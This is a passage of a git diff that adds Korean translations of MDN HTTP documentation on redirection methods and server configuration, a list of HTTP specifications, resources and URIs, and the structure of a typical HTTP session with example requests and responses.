{{HTTPStatus("300")}} (다중 선택)은 수동 리다이렉션입니다:브라우저에 의해 웹 페이지로 표현되는 분문은 가능한 리다이렉션을 나열하며 사용자는 그 중 하나를 선택하기 위해 클릭합니다.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">코드</th> + <th scope="col">텍스트</th> + <th scope="col">일반적인 유스케이스</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>300</code></td> + <td><code>Multiple Choice</code></td> + <td>이런 경우가 많지는 않습니다: 본문의 HTML 페이지 내에 선택지가 나열됩니다. {{HTTPStatus("200")}} <code>OK</code> 상태와 함께 서브될 수 있습니다.</td> + </tr> + <tr> + <td><code>304</code></td> + <td><code>Not Modified</code></td> + <td>캐시 리프레시: 캐시 값이 여전히 사용 가능할 정도로 신선함을 가리킵니다.</td> + </tr> + </tbody> +</table> + +<h2 id="리다이렉션을_명시하는_대체_방법">리다이렉션을 명시하는 대체 방법</h2> + +<p>HTTP 리다이렉트가 리다이렉션을 정의하는 유일한 방법은 아닙니다. 두 개의 다른 방법이 존재합니다: {{HTMLElement("meta")}} 엘리먼트를 사용하는 HTML 리다이렉션과 <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>을 사용하는 자바스크립트 리다이렉션이 있습니다.</p> + +<h3 id="HTML_리다이렉션">HTML 리다이렉션</h3> + +<p>HTTP 리다이렉트는 리다이렉션을 만드는 가장 좋은 방법이지만, 때때로 웹 개발자는 서버에 대한 제어권을 가지고 있지 않거나 그것을 구성할 수 없는 경우가 있습니다. 이런 특수한 상황들 때문에, 웹 개발자들은 <code>refresh</code>를 설정하기 위해 페이지의 {{HTMLElement("head")}} 내에 {{HTMLElement("meta")}} 엘리먼트와 {{htmlattrxref("http-equiv", "meta")}} 속성으로 HTML 페이지를 만들 수 있습니다. 해당 페이지를 디스플레이할 때, 브라우저는 이 엘리먼트를 발견하고 표시된 페이지로 이동할 것입니다.</p> + +<pre class="brush: html notranslate"><head> + <meta http-equiv="refresh" content="0;URL='http://www.example.com/'" /> +</head> +</pre> + +<p>{{htmlattrxref("content")}} 속성은 주어진 URL로 리다이렉트 하기 이전에 브라우저가 얼마만큼의 시간(초)을 기다려야 하는지를 나타내는 숫자로 시작됩니다. 더 나은 접근성을 위해 항상 0으로 설정하시기 바랍니다.</p> + +<p>두 말할 필요없이, 이 메서드는 HTML 페이지(혹은 그와 유사한 무언가)에서만 동작하며 이미지나 다른 어떤 종류의 컨텐츠에 대해서 사용될 수 없습니다.</p> + +<div class="note"> +<p>이런 리다이렉션들이 브라우저에서 뒤로 가기 버튼을 무용지물로 만든다는 것을 기억하시기 바랍니다: 해당 헤더가 있는 페이지로 다시 돌아갈 수 있는지만 즉시 앞으로 이동하게 될겁니다.</p> +</div> + +<h3 id="자바스크립트_리다이렉션">자바스크립트 리다이렉션</h3> + +<p>자바스크립트 내에서의 리다이렉션은 {{domxref("window.location")}} 프로퍼티에 값을 설정해서 만들어지며 새로운 페이지가 로드됩니다.</p> + +<pre class="brush: js notranslate">window.location = "http://www.example.com/";</pre> + +<p>HTML 리다이렉션처럼, 모든 리소스에서 동작하는 것은 아니며, 명백하게 자바스크립트를 실행한 클라이언트 상에서만 동작합니다. 하지만 다른점은, 예를 들어 어떤 조건이 충족되는 경우에만 리다이렉션을 촉발시킬 수 있다는 점에서 더 많은 가능성을 가지고 있습니다.</p> + +<h3 id="우선_순위">우선 순위</h3> + +<p>URL 리다이렉션에 대한 세 가지 가능성이 있기에, 몇 가지 방법이 동시에 지정될 수 있는데, 어떤 것이 먼저 적용될까요? 우선 순위는 다음과 같습니다:</p> + +<ol> + <li>페이지가 읽힌 적도 없고 전송된 적도 없는 경우, HTTP 리다이렉트가 항상 먼저 실행됩니다.</li> + <li>어떤 HTTP 리다이렉트로 없는 경우에, HTML 리다이렉트 ({{HTMLElement("meta")}})가 실행됩니다.</li> + <li>자바스크립트 리다이렉트는 최후의 순단으로써 사용되며, 클라이언트 측에서 자바스크립트를 활성화시킨 경우에만 사용할 수 있습니다.</li> +</ol> + +<p>가능한 경우, 항상 HTTP 리다이렉트를 사용해야 하며, {{HTMLElement("meta")}} 엘리먼트를 사용해서는 안됩니다. 만약 개발자가 HTTP 리다이렉트를 변경하고 HTML 리다이렉트를 잊는다면, 리다이렉트는 더 이상 동일한 한 것이 아니거나, 무한 루프로 종료되거나 다른 악몽이 시작될 수도 있습니다.</p> + +<h2 id="유스_케이스">유스 케이스</h2> + +<p>리다이렉트에 대한 많은 유스 케이스들이 존재하지만, 모든 리다이렉트들이 성능과 직결되므로, 리다이렉트의 사용은 최소한으로 유지되어야 합니다.</p> + +<h3 id="도메인_앨리어싱">도메인 앨리어싱</h3> + +<p>이상적으로, 하나의 로케이션이 존재하고, 그래서 하나의 리소스에 대해 하나의 URL이 존재한다고 가정하겠습니다. 그러나 하나의 리소스에 대한 대체 이름을 갖고자 할 때가 있을 수 있습니다 (www 접두사를 갖거나 갖지 않는 몇몇 도메인 혹은 URL을 더 짧고 기억하기 쉽도록하는 등...). 이런 경우, 리소스를 복제하기 보다는 실제 (정식) URL에 대한 리다이렉트를 사용하는 것이 더 유용합니다.</p> + +<p>도메인 앨리어싱을 하는 경우는 다음과 같습니다.</p> + +<ul> + <li>사이트 범위 확장. 당신의 사이트가 <code>www.example.com</code> 도메인을 가지고 있을 때 <code>example.com</code>을 통한 접근도 가능한 경우가 가장 흔한 경우입니다. <code>example.com</code> 페이지를 <code>www.example.com</code> 로 리다이렉션하는 것이 이 경우에 해당됩니다. 일반적으로 사용되는 별칭 혹은, 도메인 이름에 빈번히 일어나는 오자를 제공할 수도 있습니다.</li> + <li>다른 도메인으로의 이동. 예를 들어, 당신의 회사가 이름을 변경했고 이전 이름으로 검색하는 경우 여전히 회사의 옛날 이름으로 웹 사이트를 사용하는 사람들이 새로운 이름의 사이트를 이용하길 바라는 경우에 해당됩니다.</li> + <li>HTTPS 강제. 사이트에 대한 HTTP 버전 요청은 사이트의 HTTPS 버전으로 리다이렉트될 것입니다.</li> +</ul> + +<h3 id="링크_유지하기">링크 유지하기</h3> + +<p>웹 사이트를 다시 만들때, 리소스의 URL이 변경되기 마련입니다. 새로운 네이밍 계획과 일치하도록 웹 사이트의 내부 링크를 갱신할 수 있는 경우조차도, 외부 리소스에 의해 사용되는 URL에 대해서는 어쩔 수가 없습니다. 그들은 당신에게 소중한 사용자이므로(또 SEO에 도움이 되길 바라는 마음으로) 해당 링크를 깨뜨리고 싶지 않을 것이기에, 이전 URL에서 새로운 URL로의 리다이렉트를 설정하려 할 겁니다.</p> + +<div class="note"> +<p>이 기술 또한 내부 링크에 대해서 동작하므로, 내부 리다이렉트는 피해야 할 겁니다. 리다이렉트는 상당한 성능 비용이 드므로(추가적인 HTTP 요청이 수행되므로) 내부 링크를 바로잡아 내부 다이렉트를 피할 수 있다면 해당 링크를 수정해야 합니다.</p> +</div> + +<h3 id="안전하지_않은_요청에_대한_일시적인_응답">안전하지 않은 요청에 대한 일시적인 응답</h3> + +<p>{{Glossary("safe", "Unsafe")}} 요청이 서버의 상태를 수정할 경우, 사용자가 이를 우연히 재연할 수 있어서는 안됩니다. 일반적으로, 당신은 사용자가 {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} 혹은 {{HTTPMethod("DELETE")}} 요청을 재전송하기를 바라지는 않을 겁니다. 만약 당신이 해당 요청의 결과로 지금 막 응답을 전송했다면, 단순히 새로고침 버전을 누르는 것만으로 요청은 재전송될 겁니다(아마도 확인 메시지 이후에).</p> + +<p>이런 경우, 서버는 올바른 정보를 포함하게 될 {{HTTPStatus("303")}} (See Other) 요청을 회신할 수 있는데, 새로 고침 버튼이 눌린 경우, 안전하지 않은 요청이 재연되지 않고 동일한 페이지가 다시 디스플레이될 것입니다.</p> + +<h3 id="긴_요청에_대한_일시적인_응답">긴 요청에 대한 일시적인 응답</h3> + +<p>어떤 요청들은 때때로 후처리를 위해 예정되는 {{HTTPHeader("DELETE")}} 요청처럼, 서버 상에서 좀 더 많은 시간을 필요로 하는 경우가 있습니다. 이와 같은 경우에, 응답은 {{HTTPStatus("303")}} (See Other) 리다이렉트로, 어떤 동작이 예정되어 있고 진행률에 관해 알려주고 그 동작을 취소할 수 있도록 해주는 페이지로 리다이렉트됩니다.</p> + +<h2 id="일반_서버_내_리다이렉트_구성">일반 서버 내 리다이렉트 구성</h2> + +<h3 id="Apache">Apache</h3> + +<p>리다이렉트는 서버 구성 파일 혹은 각 디렉토리의 <code>.htaccess</code> 내에서 설정될 수 있습니다.</p> + +<p><a href="https://httpd.apache.org/docs/current/mod/mod_alias.html">mod_alias</a> 모듈은 (기본값으로) {{HTTPStatus("302")}} 응답을 설정하는 <code>Redirect</code> 그리고 <code>Redirect_Match</code> 디렉티브를 가지고 있습니다:</p> + +<pre class="notranslate"><VirtualHost *:80> + ServerName example.com + Redirect / http://www.example.com +</VirtualHost> +</pre> + +<p>URL <code>http://example.com/</code> 은 <code>http://www.example.com/</code> 로 리다이렉트됩니다(하지만 <code>http://example.com/other.html</code>은 리다이렉트되지 않습니다).</p> + +<p><code>Redirect_Match</code> 도 똑같이 동작하지만 영향을 받은 URL 컬렉션 정의를 위해 정규 표현식을 받습니다:</p> + +<pre class="notranslate">RedirectMatch ^/images/(.*)$ http://images.example.com/$1</pre> + +<p><code>images/</code> 폴더 내 모든 문서들은 다른 도메인으로 리다이렉트될 것입니다.</p> + +<p>일시적인 리다이렉트를 설정하고 싶지 않다면, 다른 리다이렉트를 설정하는데 여분의 파라메터(사용하고자 하는 HTTP 상태 코드 혹은 <code>permanent</code> 키워드)를 사용할 수 있습니다:</p> + +<pre class="notranslate">Redirect permanent / http://www.example.com +Redirect 301 / http://www.example.com +</pre> + +<p><a href="http://httpd.apache.org/docs/current/mod/mod_rewrite.html">mod_rewrite</a> 모듈도 리다이렉티를 만드는데 사용될 수 있습니다. 이것은 약간 더 복잡한데, 사용은 약간 더 복잡합니다.</p> + +<h3 id="Nginx">Nginx</h3> + +<p>Nginx에서는, 당신이 리다이렉트하고자 하는 컨텐츠에 대한 특정 서버 블록을 만들 수 있습니다:</p> + +<pre class="notranslate">server { + listen 80; + server_name example.com; + return 301 $scheme://www.example.com$request_uri; +}</pre> + +<p>폴더 혹은 페이지의 하위 집합에만 적용되는 리다이렉트를 원한다면, <code>rewrite</code> 디렉티브를 사용하시기 바랍니다:</p> + +<pre class="notranslate">rewrite ^/images/(.*)$ http://images.example.com/$1 redirect; +rewrite ^/images/(.*)$ http://images.example.com/$1 permanent; +</pre> + +<h3 id="IIS">IIS</h3> + +<p>IIS에서는, 리다이렉션 구성을 위해 <code><a href="https://www.iis.net/configreference/system.webserver/httpredirect"><httpRedirect></a></code> 요소를 사용할 수 있습니다.</p> + +<h2 id="리다이렉션_루프">리다이렉션 루프</h2> + +<p>리다이렉션 루프는 성공적인 리다이렉션이 이전의 리다이렉션을 다시 따라갈 때 일어납니다. 다시 말해, 결코 끝나지 않으면, 끝까지 어떤 페이지도 볼 수 없는 루프가 존재한다는 말입니다.</p> + +<p>대부분의 경우, 이런 문제는 서버 측 문제이며 서버가 이를 감지할 수 없다면, {{HTTPStatus("500")}} <code>Internal Server Error</code>를 회신할 것입니다. 서버 구성을 수정한 직후에 그런 오류를 보게 된다면, 그것은 리다이렉션 루프일 가능성이 큽니다.</p> + +<p>때로는, 서버가 그것을 감지하지 않을 때도 있을 겁니다: 전체적인 그림을 모르는 몇 개의 서버에 리다이렉션 루프가 행해지기 때문입니다. 이런 경우, 브라우저가 이를 감지하고 오류 메시지를 보여줄 것입니다. 파이어폭스는 다음과 같이 디스플레이하게 됩니다:</p> + +<pre class="bz_comment_text notranslate" id="comment_text_0">Firefox has detected that the server is redirecting the request for this address in a way that will never complete.</pre> + +<p>반면, 크롬은 다음과 같이 디스플레이합니다:</p> + +<pre class="notranslate">This Webpage has a redirect loop</pre> + +<p>모든 경우에, 사용자가 할 수 있는 일은 그리 많지 않습니다(사용자 측에서 캐시 혹은 쿠키의 불일치와 같은 어떤 변화를 주지 않은 이상말이죠).</p> + +<p>리다이렉션 루프는 사용자 경험을 완전히 망쳐놓기에 리다이렉션 루프를 피하는 것은 대단히 중요합니다.</p> diff --git a/files/ko/web/http/resources_and_specifications/index.html b/files/ko/web/http/resources_and_specifications/index.html new file mode 100644 index 0000000000..9d7ccbee70 --- /dev/null +++ b/files/ko/web/http/resources_and_specifications/index.html @@ -0,0 +1,242 @@ +--- +title: HTTP 리소스와 명세 +slug: Web/HTTP/Resources_and_specifications +translation_of: Web/HTTP/Resources_and_specifications +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP는 1990년 초에 처음으로 명세되었습니다. 확장성을 염두에 두고 설계하였고, 해를 거듭하면서 더 많은 추가 사항들이 세상에 나왔습니다; 이런 일로 많은 명세서를 통해 세상에 뿌려진 명세들이 나오게 되었습니다(실험되다가 폐기된 확장들 가운데에서도). 이 페이지에서는 HTTP와 관련해 의미가 있는 리소스들을 나열하고 있습니다.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + <th scope="col">상태</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{rfc(7230)}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(7231)}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(7232)}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(7233)}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(7234)}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(5861)}}</td> + <td>HTTP Cache-Control Extensions for Stale Content</td> + <td>Informational</td> + </tr> + <tr> + <td>{{rfc(7235)}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Authentication</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(6265)}}</td> + <td>HTTP State Management Mechanism<br> + <em>Defines Cookies</em></td> + <td>Proposed Standard</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Draft spec</a></td> + <td>Cookie Prefixes</td> + <td>IETF Draft</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00">Draft spec</a></td> + <td>Same-Site Cookies</td> + <td>IETF Draft</td> + </tr> + <tr> + <td>{{rfc(2145)}}</td> + <td>Use and Interpretation of HTTP Version Numbers</td> + <td>Informational</td> + </tr> + <tr> + <td>{{rfc(6585)}}</td> + <td>Additional HTTP Status Codes</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(7538)}}</td> + <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(7725)}}</td> + <td>An HTTP Status Code to Report Legal Obstacles</td> + <td>On the standard track</td> + </tr> + <tr> + <td>{{rfc(2397)}}</td> + <td>The "data" URL scheme</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(3986)}}</td> + <td>Uniform Resource Identifier (URI): Generic Syntax</td> + <td>Internet Standard</td> + </tr> + <tr> + <td>{{rfc(5988)}}</td> + <td>Web Linking<br> + <em>Defines the {{HTTPHeader("Link")}} header</em></td> + <td>Proposed Standard</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html">Experimental spec</a></td> + <td>Hypertext Transfer Protocol (HTTP) Keep-Alive Header</td> + <td>Informational (Expired)</td> + </tr> + <tr> + <td><a href="http://httpwg.org/http-extensions/client-hints.html">Draft spec</a></td> + <td>HTTP Client Hints</td> + <td>IETF Draft</td> + </tr> + <tr> + <td>{{rfc(7578)}}</td> + <td>Returning Values from Forms: multipart/form-data</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(6266)}}</td> + <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(2183)}}</td> + <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field<br> + <em>Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages.</em></td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(7239)}}</td> + <td>Forwarded HTTP Extension</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(6455)}}</td> + <td>The WebSocket Protocol</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(5246)}}</td> + <td>The Transport Layer Security (TLS) Protocol Version 1.2<br> + <em>This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol.</em></td> + <td>Proposed Standard</td> + </tr> + <tr> + <td><a href="https://tlswg.github.io/tls13-spec/)">Draft spec</a></td> + <td>The Transport Layer Security (TLS) Protocol Version 1.3<br> + <em>Once ready, this protocol will supersede TLS 1.2.</em></td> + <td>IETF Draft</td> + </tr> + <tr> + <td>{{rfc(2817)}}</td> + <td>Upgrading to TLS Within HTTP/1.1</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(7540)}}</td> + <td>Hypertext Transfer Protocol Version 2 (HTTP/2)</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(7541)}}</td> + <td>HPACK: Header Compression for HTTP/2</td> + <td>On the standard track</td> + </tr> + <tr> + <td>{{rfc(7838)}}</td> + <td>HTTP Alternative Services</td> + <td>On the standard track</td> + </tr> + <tr> + <td>{{rfc(7301)}}</td> + <td>Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension<br> + <em>Used to negotiate HTTP/2 at the transport to save an extra request/response round trip.</em></td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(6454)}}</td> + <td>The Web Origin Concept</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{SpecName("CORS")}}</td> + <td>Cross-Origin Resource Sharing</td> + <td>{{Spec2("CORS")}}</td> + </tr> + <tr> + <td>{{rfc(7034)}}</td> + <td>HTTP Header Field X-Frame-Options</td> + <td>Informational</td> + </tr> + <tr> + <td>{{rfc(6797)}}</td> + <td>HTTP Strict Transport Security (HSTS)</td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{SpecName("Upgrade Insecure Requests")}}</td> + <td>Upgrade Insecure Requests</td> + <td>{{Spec2("Upgrade Insecure Requests")}}</td> + </tr> + <tr> + <td>{{SpecName("CSP 1.0")}}</td> + <td>Content Security Policy 1.0<br> + <em>CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard</em></td> + <td>{{Spec2("CSP 1.0")}}</td> + </tr> + <tr> + <td><a href="https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx">Microsoft document</a></td> + <td>Specifying legacy document modes*<br> + <em>Defines X-UA-Compatible</em></td> + <td>Note</td> + </tr> + <tr> + <td>{{rfc(5689)}}</td> + <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)<br> + <em>These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays.</em></td> + <td>Proposed Standard</td> + </tr> + <tr> + <td>{{rfc(2324)}}</td> + <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)</td> + <td>April 1st joke spec</td> + </tr> + <tr> + <td>{{rfc(7168)}}</td> + <td>The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)</td> + <td>April 1st joke spec</td> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG")}}</td> + <td>HTML<br> + <em>Defines extensions of HTTP for Server-Sent Events</em></td> + <td>{{Spec2("HTML WHATWG")}}</td> + </tr> + </tbody> +</table> + +<p> </p> diff --git a/files/ko/web/http/resources_and_uris/index.html b/files/ko/web/http/resources_and_uris/index.html new file mode 100644 index 0000000000..bca2c78223 --- /dev/null +++ b/files/ko/web/http/resources_and_uris/index.html @@ -0,0 +1,27 @@ +--- +title: Resources and URIs +slug: Web/HTTP/Resources_and_URIs +tags: + - HTTP + - Overview + - Reference +translation_of: Web/HTTP/Resources_and_URIs +--- +<p>{{HTTPSidebar}}</p> + +<p>HTTP는 브라우저 혹은 사용자 에이전트에게 인터넷 상 다른 리소스와의 통신을 허용합니다: 이를 위해 브라우저에는 자원의 신분(<em>identity)</em>와 위치(<em>location)</em>가 필요합니다. 이 두 비트의 정보는 {{glossary("URI")}}로 설명됩니다.</p> + +<dl> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">웹 리소스 식별</a></dt> + <dd>URI와 웹에서의 자원 접근 방법</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Data URIs</a></dt> + <dd>A specific kind of URIs, data URIs, embed the resource itself inside the identifier.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">www 와non-www URL 중에서 선택하기</a></dt> + <dd>도메인에 접두사로 www을 사용해야할지 말지에 대한 조언을 제공합니다. 이 글에서는 선택에 대한 결과와 과정 또한 설명합니다.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 타입</a></dt> + <dd>MIME 미디어 타입은 특정 자원이 어떤 종류의 문서인지 정의합니다. 이 글에서는 웹에서 사용할 수 있는 가장 유용한 MIME 타입과 구문을 제공합니다.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">Complete list of MIME type</a></dt> + <dd>웹 개발자에게 유용한 포괄적인 MIME 타입 목록.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Separating_identity_and_location_of_a_resource">Separating identity and location of a resource: the Alt-Svc header</a></dt> + <dd>신분(<em>identity)</em>와 위치(<em>location)</em> 둘 다 URL에 기술되더라도 둘의 개념은 다르며 둘을 구분하는 것은 때때로 유용합니다.이 글에서는 {{HTTPHeader("Alt-Svc")}} 헤더에 대해 소개합니다.</dd> +</dl> diff --git a/files/ko/web/http/session/index.html b/files/ko/web/http/session/index.html new file mode 100644 index 0000000000..b768adb30c --- /dev/null +++ b/files/ko/web/http/session/index.html @@ -0,0 +1,159 @@ +--- +title: A typical HTTP session +slug: Web/HTTP/Session +translation_of: Web/HTTP/Session +--- +<p>{{HTTPSidebar}}</p> + +<p>HTTP와 같은 클라이언트-서버 프로토콜에서, 세션은 다음의 세 가지 과정으로 이루어집니다:</p> + +<ol> + <li>클라이언트가 TCP 연결을 수립합니다(또는 전송 계층이 TCP가 아닌 다른 적당한 연결로).</li> + <li>클라이언트는 요청을 전송한 뒤 응답을 기다립니다.</li> + <li>서버는 요청에 대해 처리하고 그에 대한 응답을 상태 코드 그리고 요청에 부합하는 데이터와 함께 돌려보냅니다.</li> +</ol> + +<p>HTTP/1.1부터는, 세번째 과정 이후 클라이언트가 해당 시점에 또 다른 요청을 보낼 수 있도록 연결을 더 이상 닫지 않습니다: 그러므로 두번째, 세번째 과정이 몇 번에 걸쳐 일어날 수 있습니다.</p> + +<h2 id="연결_수립">연결 수립</h2> + +<p>클라이언트-서버 프로토콜에서, 클라이언트는 연결을 수립합니다. HTTP에서 연결을 여는 것은, 보통의 경우 TCP인, 기본적인 전송 계층 내에서 연결을 수립하는 것을 뜻합니다.</p> + +<p>TCP를 이용할 경우, 컴퓨터 상의 HTTP 서버를 위한 기본 포트는 80인데, 8000 혹은 8080처럼 다른 포트들도 자주 사용되곤 합니다. 요청을 위한 페이지 URL은 도메인 이름과 포트 번호 둘 다 포함하는데, 포트 번호가 80일 경우 생략 가능합니다. 좀 더 자세한 내용은 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">웹 리소스 식별</a>을 참고하시기 바랍니다.</p> + +<div class="note"><strong>기억하세요:</strong> 클라이언트-서버 모델은 서버로 하여금 명시적인 요청없이 클라이언트로 데이터를 전송하는 것을 허용하지 않습니다. 이런 문제에 대한 해결책으로, 웹 개발자들은 몇 가지 기술을 사용합니다: {{domxref("XMLHTTPRequest")}} 혹은 {{domxref("Fetch")}} API를 통해 주기적으로 서버에 핑하기, HTML <a href="/en/WebSockets" title="en/WebSockets">웹소켓 API</a>, 혹은 그와 유사한 프로토콜 사용</div> + +<h2 id="클라이언트_요청_전송">클라이언트 요청 전송</h2> + +<p>연결이 한번 수립되고 나면, 사용자-에이전트는 요청을 보낼 수 있습니다(사용자-에이전트는 일반적으로 웹 브라우저를 말하지만, 예를 들자면 crawler와 같이 무엇이든 될 수 있습니다). 클라이언트 요청은 세 가지 블록으로 나누어진, CRLF(라인 피드를 따르는 캐리지 리턴)로 구분된 텍스트 지시자들로 이루어집니다:</p> + +<ol> + <li>첫번째 줄은 파라메터가 따르는 요청 메서드를 포함합니다:<br> + The first line contains a request method followed by its parameters: + <ul> + <li>문서의 경로, 즉 프로토콜과 도메인 이름을 제외한 절대 URL</li> + <li>사용중인 HTTP 프로토콜 버전</li> + </ul> + </li> + <li>바로 다음 줄들은 각각 특정 헤더를 나타내는데, 데이터의 종류가 적합한지(예를 들어, 언어는 무엇인지, MIME 타입은 무엇인지 등) 혹은 서버의 동작을 수정하는 몇 가지 데이터(예를 들어, 이미 캐시되어 있는 경우 응답을 전송하지 않는다든지 하는) 등에 관한 몇 가지 정보를 서버에게 제공합니다. 이런 HTTP 헤더들은 빈 줄로 끝나는 블록을 형성합니다.</li> + <li>마지막 블록은 부가적인 데이터 블록으로, 더 많은 데이터를 포함하며 주로 POST 메서드에 의해 사용됩니다.</li> +</ol> + +<h3 id="요청_예제">요청 예제</h3> + +<p>develper.mozilla.org, 즉 <a class="linkification-ext external" href="/" title="Linkification: http://developer.mozilla.org/">http://developer.mozilla.org/</a>의 최상위 페이지를 가져오도록 요청하고, 가능하다면 서버에게 사용자-에이전트가 해당 페이지에 대해 프랑스어로 된 페이지를 원한다고 알려줍니다:</p> + +<pre>GET / HTTP/1.1 +Host: developer.mozilla.org +Accept-Language: fr + +</pre> + +<p>헤더 블록으로부터 데이터 블록을 구분짓는, 첫번째 빈줄에 주목하세요. 헤더 중에 <code>Content-Length:</code> 헤더가 없으므로, 데이터 블록은 비어있고 서버는 헤더의 마지막을 나타내는 빈 줄을 받는 즉시 요청을 처리할 수 있습니다.</p> + +<p>다음은 결과 전송 형식입니다:</p> + +<pre>POST /contact_form.php HTTP/1.1 +Host: developer.mozilla.org +Content-Length: 64 +Content-Type: application/x-www-form-urlencoded + +name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue +</pre> + +<h3 id="요청_메서드">요청 메서드</h3> + +<p>HTTP는 주어진 자원에 대해 실행되길 바라는 동작을 가리키는 <a href="/en-US/docs/Web/HTTP/Methods">요청 메서드</a> 집합을 정의합니다. 그것들이 명사가 될 수 있으지라도, 이 요청 메서드들은 때때로 HTTP 동사로써 참조됩니다. 일반적으로 대부분의 요청은 <code>GET과</code> <code>POST입니다</code>:</p> + +<ul> + <li>{{HTTPMethod("GET")}} 메서드는 지정된 자원의 표시를 요청합니다. <code>GET</code>을 사용하는 요청은 데이터를 가져오는 것 외에는 할 수 없습니다.</li> + <li>{{HTTPMethod("POST")}} 메서드는 서버에 데이터를 전송하여 서버가 상태를 바꾸도록 만듭니다. 이것은 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a>에서 자주 사용되는 메서드입니다.</li> +</ul> + +<h2 id="서버_응답의_구조">서버 응답의 구조</h2> + +<p>연결된 에이전트가 자신의 요청을 전송하고 난 뒤에, 웹 서버가 그것을 처리하고 최종적으로 응답을 돌려보내게 됩니다. 클라이언트 요청과 유사하게, 서버 응답은 세 개의 다른 블록으로 나누어진, CRLF로 구분된 텍스트 지시자들로 형성됩니다:</p> + +<ol> + <li><em>상태 줄</em>인 첫번째 줄은 상태 요청(그리고 인간이 읽을 수 있는 텍스트 내에서의 의미)이 따르도록 사용된 HTTP 버전의 acknowledgment로 구성됩니다.</li> + <li>다음 줄들은 각각 특정 HTTP 헤더를 나타는데, 전송되는 데이터에 관한 정보(이를테면, 타입, 데이터 크기, 사용된 압축 알고리즘, 캐시에 대한 힌트 등)를 클라이언트에게 제공합니다. 클라이언트의 요청에 대한 HTTP 헤더 블록과 유사하게, 이 HTTP 헤더들은 빈 줄로 끝나는 블록을 형성합니다.</li> + <li>마지막 블록은 데이터 블록으로 (존재한다면) 데이터를 포함합니다.</li> +</ol> + +<h3 id="응답_예제">응답 예제</h3> + +<p>웹 페이지의 성공적인 수신:</p> + +<pre>HTTP/1.1 200 OK +Date: Sat, 09 Oct 2010 14:28:02 GMT +Server: Apache +Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT +ETag: "51142bc1-7449-479b075b2891b" +Accept-Ranges: bytes +Content-Length: 29769 +Content-Type: text/html + +<!DOCTYPE html... <em><strong>(here comes the 29769 bytes of the requested web page)</strong></em> + +</pre> + +<p>요청 자원이 영구적으로 옮겨졌다는 내용의 알림</p> + +<pre>HTTP/1.1 301 Moved Permanently +Server: Apache/2.2.3 (Red Hat) +Content-Type: text/html; charset=iso-8859-1 +Date: Sat, 09 Oct 2010 14:30:24 GMT +Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(this is the</em><em> new link to the resource; it is expected that the 